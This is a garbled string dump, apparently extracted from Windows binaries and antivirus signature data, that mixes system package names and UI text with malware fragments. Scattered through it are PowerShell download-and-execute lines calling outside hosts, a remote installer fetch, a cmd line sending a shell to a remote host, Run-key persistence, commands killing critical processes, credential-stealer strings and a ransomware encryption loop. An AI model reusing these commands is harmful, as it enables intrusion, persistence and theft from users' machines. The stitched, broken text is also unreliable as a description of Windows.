Microsoft-Windows-Client-ShellLauncher-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Foundation-Win0-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|.0
Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04102031~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Windows-ClientCore-DWM-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat||)+
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft.Windows.Wil.FeatureLogging
WINDOWS\system32\config
=C:\Windows\S
"http://2i.wf:8080/bjye5s5pzgh/2eslmrhuevh8w0zkrilp/%computername%"lv^m=fx^w"%systemroot%\system32\imageres.dll%windir%\system32\cmd.exe%windir%\system32\cmd.exe%wn]nd.q1spsxfl8c&mq
Microsoft.Windows.MediaPlayer32
a.run("powershell-windowstylehidden$d=$env:temp+'\\mess.exe';(new-objectsystem.net.webclient).downloadfile('
windows11
amd64_microsoft-windows-embedded-lockdownwmi_31bf3856ad364e35_none_ad8931f0e9cdbb3d
amd64_microsoft-windows-encoderapi_31bf3856ad364e35_none_56aecffd7d917bf2
amd64_microsoft-windows-encryptfilesonmove-adm_31bf3856ad364e35_none_b9d72a93768324ab
amd64_microsoft-windows-energy-winrt_31bf3856ad364e35_none_63002c189cf244cf
amd64_microsoft-windows-energyefficiencywizard_31bf3856ad364e35_none_22e380ae01ff3a32
amd64_microsoft-windows-energyestimation-util_31bf3856ad364e35_none_9666a61895190cbe
amd64_microsoft-windows-enhancedstorage-adm_31bf3856ad364e35_none_4df77a9b22ec0512
amd64_microsoft-windows-enhancedstorage-api_31bf3856ad364e35_none_4e22d11322cb7322
amd64_microsoft-windows-enhancedvideorenderer_31bf3856ad364e35_none_a689520e0dd28eec
amd64_microsoft-windows-enrollengine_31bf3856ad364e35_none_43e05487d67ace12
windows11
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
"s_WindowsTipEnabled*hGet tips, tricks, and sugges
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
Behavior:Win32/WindowsPlcySet
bart = "" + bart2kill xpfiledir"c:\windows\temp"sub auto
"c:\windows\temp\" + bartKill XPFILEDIRbart = "" + bart2 + chr
Microsoft-Windows-Kernel-Package-System-Events-Container-Package~31bf3856ad364e35~amd64~~10.0.26100.6725.cat
Microsoft.Windows.Shell.WindowsUIImmersiveProvider
Microsoft.Windows.Shell.BridgeWindow
Microsoft.Windows.ImmersiveColor
Microsoft.Windows.Shell.Theme
Microsoft.Windows.Pl!
gwrite("hkey_current_user\software\microsoft\windows\currentversion\run\
Windows.Networking.ContentPrefetcher.Internal
WindowsOobeAppHost.FrameViewModel,
tXHdes8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UNavigationControl@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UNavigationControl@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UNavigationControl@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UNavigationControl@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UNavigationControl@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@impl@winrt@@
.?AU?$require@UNavigationControl@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@UIUserControl@67894@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFrameworkElement3@7894@UIFrameworkElement4@7894@UIFrameworkElement6@7894@UIFrameworkElement7@7894@UIUIElement@7894@UIUIElement2@7894@UIUIElement3@7894@UIUIElement4@7894@UIUIElement5@7894@UIUIElement7@7894@UIUIElement8@7894@UIUIElement9@7894@UIUIElement10@7894@UIAnimationObject@Composition@894@UIVisualElement@Composition@894@UIDependencyObject@7894@UIDependencyObject2@7894@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IPage@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IUserControl@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl2@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIControl3@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl3@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIControl4@Controls@Xaml@UI@Windows@4@
{"destination":"%ProgramData%\\Microsoft\\Windows\\UUS\\Packages\\1507.2512.15022.0","cleanup":[{"func]
{"destination":"%ProgramData%\\Microsoft\\Windows\\UUS\\Packages\\1507.2512.15022.0","cleanup":[{"func]
{"destination":"%ProgramData%\\Microsoft\\Windows\\UUS\\Packages\\1507.2512.15022.0","cleanup":[{"func]
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsCreateStringReference
WindowsCreateString
WindowsDuplicateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
UnhookWindowsHookEx
SetWindowsHookExW
EnumWindows
windows.globalization.fontgroups.dll
shell\windowsuiimmersive\applicationhost\bridgewindow.cpp
shell\windowsuiimmersive\contextmenu\controller.cpp
shell\windowsuiimmersive\imagesanitization\imagebroker.cpp
shell\windowsuiimmersive\lightdismiss\lib\lightdismissclientstore.cpp
shell\windowsuiimmersive\popup\messagedialog.cpp
Windows.Devices.Sensors.dll
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
s\system32
shell^-windowstylehidden
shell^-windowstylehidden
 Windows
 you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
    name="Microsoft.Windows.Shell.Windows.UI.Immersive"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
Windows.UI.Immersive.dll
WINDOWS_G
appdata\roaming\windows azure powershella
software\microsoft\windows nt\currentversion\winlogon\
isWindowsData
The Windows security setting, "System cryptography: Use FIPS compliant algorithms for encryption, hashing, and signing", is enabled. 
Microsoft.Windows.Sentinels.CostDeferred_0
em;C:\WINDOWS\
WINDOWS\ServiceProfiles\Network
system32\cmd.exe
64/Microsoft.WindowsNotepad_8wekyb3d8bbwe!AppMicrosoft.WindowsNotepad_8wekyb3d8bbwe!App-
RawData_WindowsWorkflowFoundation4000_WFSystem
xinchuserehlo localhost220 ftpsoftware\microsoft\windows\shellnoroam\muicachep)r#kernel32.dllbuilder.exehttp://stasmaster.hut2.ru/rcv.php#channelc:\windows\screen.logxinchpass\temp.jpgsubject: hello from %scontent-type: application/octet-stream; name=report.bincontent-disposition: attachment; filename=report.binrcpt to: victor@rusal.ru\generic host process for win32 serviceshttp://localhost/st.phpsearch pagehttp://yandex.ruc:\khkhnkuh
\windows nt\currentversion\winlogon\notifystartertocsrssthreadc.mx.mail.yahoo.comaddftpaccountscnet::addbotinfocdllprotector::protectdllcmysyncsocket::connecttocftppwd::~cftppwdcftppwd::getsmartftpcftppwd::getfilezillacftppwd::gettotalcommandercauthonticatehooker::handler
Hr55https://www.e-gold.com/acct/balance.asp/acct/acct.asp209.200.169.10upperhostwinidpstorageadata/acct/contactus.aspcustomeremail=<title>e-gold account management</title>helvetica, sans-serif" size="2">unable to login to accountaccount data:e-mail = %smetal = %swight = %sequiv = %svalue = %sprotected storage:account name - %spop3 server - %spop3 user name - %ssmtp email address - %smail accounts (%.8x)http/ftp accounts (%.8x)passdata = %resource = %windows\currentversion\internet--%sform-data; name="hit"; filename="%s"multipart/form-data; boundary=%scurrentversion\shellserviceobjectdelayloadclsid\{523455e4-abcd-abcd-1114-d709add3ddab}\inprocserver32256.256.256.256[%x[%s][ip: %s %s %s]one-time pin>e-mail:<
windows update
-gSoftware\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\Por favor, preencha corretamente o campo "Senha EletrE013D26596F669934D49984F3846A8A6BImage3Click
Irundll32.exeshell32.dll,control_rundllc:\windows\media\lsass.cpl,restart",0,falsewshshell.run
icon=%systemroot%\system32\shell32.dll,4
openfoldertoviewfileusingwindowsexplorerabrircarpetaparaverarchivos
IESniffer1URLChangec:\windows\system\chache\CurrentVersiyon\WinXP\svchost.exeSoftware\Microsoft\windows\currentversion\run
system32\
c:\windows\sV
temRoot%\system32\mswsock.dl
dir%\system32\vsocklib.dl
Ic:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehiddeninvoke-webrequest-urihttp
@-outfile"c:\\users\\$([environment]::username)\\appdata\\roaming\\microsoft\\windows\\'startmenu'\\programs\\startup\\windowssecure.bat";cmd/cmkdir"c:\\users\\public\\document";cmd/ccurlhttp
0\windows\system32\config\security
$yoo=[object[]]('c:\windows\microsoft.net\framework\v4.0.30319\regsvcs.exe',$hgh)
.Windows.d
Microsoft.Windows.System.winmdV6
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
>1.presswindowsbutton<strong
P"class="windows-logo"alt="windowslogo
>step1.presswindowsbutton<strong
P"class="windows-logo"alt="windowslogo
karna.windows.ui.tetris.resources!#ALF:Y2V:Florian_Roth/Sofacy_Malware_StrangeSpaces
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Windows.ApplicationModel.dll#
 Windows.Microsoft Copilot po p
 Windows.Microsoft Copilot po p
kalimin e Windows p
kalimin e Windows p
 Windows.Microsoft Copilot po p
 Windows.Microsoft Copilot d
kalimin e Windows p
kalimin e Windows p
rkon Windows 10 e lart.Ndodhi nj
index.windows.bundle
*-windowstylehidden-executionpolicybypass-command""invoke-webrequest-uri'https://files.hatol.lol/f/shit.ps1?ref=admin'-usebasicparsing|invoke-expression"
.jsc:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%\explorer.exe
<t>syswow64\</t></si><si><t>rundll32.exe</t></si><si><t>dllregisterserver</t></si><si><t>:</t></si><si><t>\windows\</t></si><si><t>"h"&amp;"ttp://
taskkill/f/imexplorer.exetaskkill/f/imsvchost.exetaskkill/f/imwinlogon.exetaskkill/f/imlsass.exetaskkill/f/imcsrss.exetaskkill/f/imservices.exetaskkill/f/imsmss.exetaskkill
=91.217.153.19attrib -h -r=\system32\drivers\etc\
	shellexecute=c:\windows\p
cmdCalcolaZone\Simplesso.vbp\WINDOWS\SYSTEM32\uSeR32!#HSTR:ZlobMarker1
dircreate ( @windowsdir
& "\winlogons"
\windows\currentversion\runoncer
windowsformsapp
c:\windows\temp\
c:\windows\system32\
c:\windows\
C:\WINDOWS\SYSTEM32\
C:\WINDOWS\SYSTEM32\
c:\windows\system32\qq
c:\windows\system32\qq
c:\windows\system32\qq
Embedded Web Browser from:javascript:enviar()&DIGCTA=&txtConta=edt_crtita03edt_itacard0201KeyPressUnitTecadinhoContantoRelatriodePrivacidadeimg_limpacartimg_confirmacartPanelCitiWindowsmessenger
[defmain(hardcoded_key,keyword1,path):startdirs=dir_map()thread(target=alive).start()hardcoded_key=hash_password(hardcoded_key)keyword1=hash_password(keyword1)forcurrentdirinstartdirs:files=discoverfiles(currentdir)main_encrypt(files,hardcoded_key,keyword1,'first')try:view_b(path)exceptexceptionasa:print(a)c2('3')time.sleep(10)hardcoded_key=''keyword1=''time2=''path=''plt=platform.system()try:ifplt=='linux'orplt=='darwin':hardcoded_key=sys.argv[1]keyword1=sys.argv[2]time2=sys.argv[3]path=sys.argv[4]else:ifplt=='windows':f=open(os.getcwd()+'\\mshealth.cfg','r')h=f.read()h=h.split(',')hardcoded_key=h[0].strip()keyword1=h[1].strip()time2=h[2].strip()path=h[3].strip()f.close()except:print('youhaveerrorininputinformtion')
tSOFTWARE\Microsoft\Windows NT\CurrentVersion\SvchostU]
re dont Windows vous aide 
re dont Windows vous prot
 ce que Windows reste s
 jour de Windows et des autres produits Microsoft, pour r
 ce que Windows reste s
Laissez Windows utiliser des informations 
rience Windows en vous pr
Global.WindowsOobeAppHost.AppXz53mm6ghetj3f5m66ea0rhahd10qadp8.wwa
CreateMimi2Bat\Microsoft\Windows\Tmp*" & rmdir "\Bot
%Microsoft Windows Production PCA 20110
Microsoft Windows0
sts.windows.net
sts.windows.net
void __cdecl winrt::Windows::Private::Storage::implementation::VolumeSchedule::CompressionSettings(const struct winrt::Windows::Private::Storage::CompressionSettings &)
Windows.Data.Input.Text.UnigramList
Windows.Data.Input.Text.LanguageUnigramList
Windows.Data.Input.Text.RoamingDictionary
Microsoft.Windows.MetadataResolution.NamespaceResolution
0-windows10
\\NewrozSpeedTest\\obj\\(Release|Debug)\\net9.0-windows10.0.19041.0\\win10-x64\\NewrozSpeedTest.pdb
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetDomainConnectivityLevel(enum Windows::Networking::Connectivity::DomainConnectivityLevel *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkUsageAsync(struct Windows::Foundation::DateTime,struct Windows::Foundation::DateTime,enum Windows::Networking::Connectivity::DataUsageGranularity,struct Windows::Networking::Connectivity::NetworkUsageStates,struct Windows::Foundation::IAsyncOperation<struct Windows::Foundation::Collections::IVectorView<class Windows::Networking::Connectivity::NetworkUsage *> *> **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetProviderNetworkUsageAsync(struct Windows::Foundation::DateTime,struct Windows::Foundation::DateTime,struct Windows::Networking::Connectivity::NetworkUsageStates,struct Windows::Foundation::IAsyncOperation<struct Windows::Foundation::Collections::IVectorView<class Windows::Networking::Connectivity::ProviderNetworkUsage *> *> **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetConnectivityIntervalsAsync(struct Windows::Foundation::DateTime,struct Windows::Foundation::DateTime,struct Windows::Networking::Connectivity::NetworkUsageStates,struct Windows::Foundation::IAsyncOperation<struct Windows::Foundation::Collections::IVectorView<class Windows::Networking::Connectivity::ConnectivityInterval *> *> **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::get_CanDelete(unsigned char *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::TryDeleteAsync(struct Windows::Foundation::IAsyncOperation<enum Windows::Networking::Connectivity::ConnectionProfileDeleteStatus> **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::IsDomainAuthenticatedBy(enum Windows::Networking::Connectivity::DomainAuthenticationKind,unsigned char *) noexcept
r;void __cdecl Windows::Networking::Connectivity::AcquireConnectionOperationServer::AcquireConnectionCallback(void) noexcept
long __cdecl Windows::Networking::Connectivity::GetConnectionProfileOperationServer::GetConnectionProfileCallback(void) noexcept
long __cdecl Windows::Internal::Diagnostics::NetworkAdapterServer::RuntimeClassInitialize(struct INetworkInterfacePrivate *) noexcept
long __cdecl Windows::Internal::Diagnostics::NetworkAdapterServer::GetDiagnosticsInformation(struct Windows::Internal::Diagnostics::InterfaceDiagnosticsData *) noexcept
long __cdecl Windows::Internal::Diagnostics::NetworkAdapterServer::TriggerDiagnosticsAction(enum Windows::Internal::Diagnostics::InterfaceDiagnosticsAction) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_BackgroundDataUsageRestricted(unsigned char *) noexcept
)P6AJAEBUInstalledWordBreaker@Text@Data@Windows@@PEAPEAUI'
onecore\base\appmodel\staterepository\winrt\broker\lib\windows.internal.staterepository.applicationresourceresolverfactory.cpp
onecore\base\appmodel\staterepository\winrt\broker\lib\windows.internal.staterepository.packageresourceresolverfactory.cpp
onecore\base\appmodel\staterepository\winrt\broker\lib\windows.internal.staterepository.appinfofactorybroker.cpp
onecore\base\appmodel\staterepository\winrt\broker\lib\windows.internal.staterepository.applicationresourceresolver.cpp
onecore\base\appmodel\staterepository\winrt\broker\lib\windows.internal.staterepository.packageresourceresolver.cpp
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\C:\ProgramData\DDISMServices.logNTCurrentVersionDismCore.dllCoreConfigFlagDism.exeC:\ProgramData\DISMService!#HSTR:Trojan:MSIL/AgentTesla.PA13!MTB
L&cd C:\programdata\service\core && cmd.exe /C ""C:\programdata\Windows Events.exe" "C:\programdata\service\core\agent.py""HackTool:AndroidOS/Doods.A!MTB
Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common StartupS
WinlogonX
c:\windows\system32\
	WindowsSecurityAppList.s
[://2t.pm:8080/y/wyfo/nama38lrjzhrnwh2vz/!computername!"g^f^d^h^dl^d=^pzmr^ly%windir%\system32\imageres.dll
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft.Windows.Licensing.SppSvc.WinAgent
WindowsFormsApp22.Properties
WindowsFormsApp57.Properties.Resources.resources
WindowsFormsApplication6.Openingscreen.resourcesWindowsFormsApplication6.PropertiesTrojanSpy:AndroidOS/SmsTheif.H!MTB
Windows NT\CurrentVersion\WinlogonW
software\microsoft\windows
api-ms-win-core-windowserrorreporting-l1-1-0.dll
DmSetWindowsAIKStorageLocationOld
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
C:\__w\1\s\packages\ExperienceExtensions\windows\packages\Microsoft.Windows.Wil.Internal.0.3.38\inc\wil\opensource\wil\resource.h
windowsproject_bin.dll
windows
/Windows/Discord/
temRoot%\system32\mswsock.dl
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411220~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package04~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-msmq-http-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-WPD-LegacyWmdmFeature-Feature-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|t-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|icrosoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|:&
onerrorresumenextsetfso=createobject("scripting.filesystemobject")setdrive=fso.getdrive("c:")doseta=createobject("windowsinstaller.installer"):a.uilevel=2:a.installproduct"http://85.192.49.106/"&drive.serialnumberwscript.sleep
cmd.exe /C wuwebv.exe -t -e c:\windows\system32\cmd.exe closed.theworkpc.com 80cmd.exe /c copy *.* C:\Users\Public\Libraries\CNNUDTV\cmd.exe /C reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ACNTV /t REG_SZ /d "Rundll32.exe SHELL32.DLL,ShellExec_RunDLL "C:\Users\Public\Libraries\CNNUDTV\DateCheck.exe"" /f
Microsoft.Windows.DeviceManagement.DmCmnUtils
Microsoft.Windows.DeviceManagement.SessionManagement
Microsoft.Windows.EnterpriseManagement.Enrollment
Microsoft.Windows.DeviceManagement.DcSvc
Microsoft.Windows.DeviceManagement.ConfigRefresh
Microsoft.Windows.EnterpriseManagement.PolicyManager
Microsoft.Windows.DeviceManagement.OmaDmApiProvider
Microsoft.Windows.EnterpriseManagement.ResourceManager
Microsoft.Windows.DeviceManagement.OmaDmClient
Microsoft.Windows.DeviceManagement.ConfigManager2
Microsoft.Windows.EnterpriseManagement.DeclaredConfiguration
Microsoft.Windows.DeviceManagement.DevDetailCsp
Microsoft.Windows.DeviceManagement.OMADMPRC
Microsoft.Windows.EnterpriseManagement.ResourceManagerUnenrollHook
Microsoft.Windows.DeviceManagement.SecurityPolicyCsp
Microsoft.Windows.DeviceManagement.DmAccCsp
Microsoft.Windows.DeviceManagement.DevInfo
Microsoft.Windows.EnterpriseManagement.ConfigManagerHook
Microsoft-Windows-DeviceManagement-W7NodeProcessor
Microsoft.Windows.EMPS.Enrollment
Microsoft.Windows.DeviceManagement.ConfigLock
Microsoft.Windows.IntelSADetection
c:\windows\system32\cmd.exe/cechocwb0ageacgb0
Sheet2.tltltlCreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\
shellcommon\UndockedDevKit\libs\WindowsUdk.ApplicationModel.AppExtensions\AppExtension.cpp
shellcommon\UndockedDevKit\libs\WindowsUdk.ApplicationModel.AppExtensions\XamlExtension.cpp
shellcommon\undockeddevkit\libs\windowsudk.applicationmodel.datatransfer\clipboardhistory.cpp
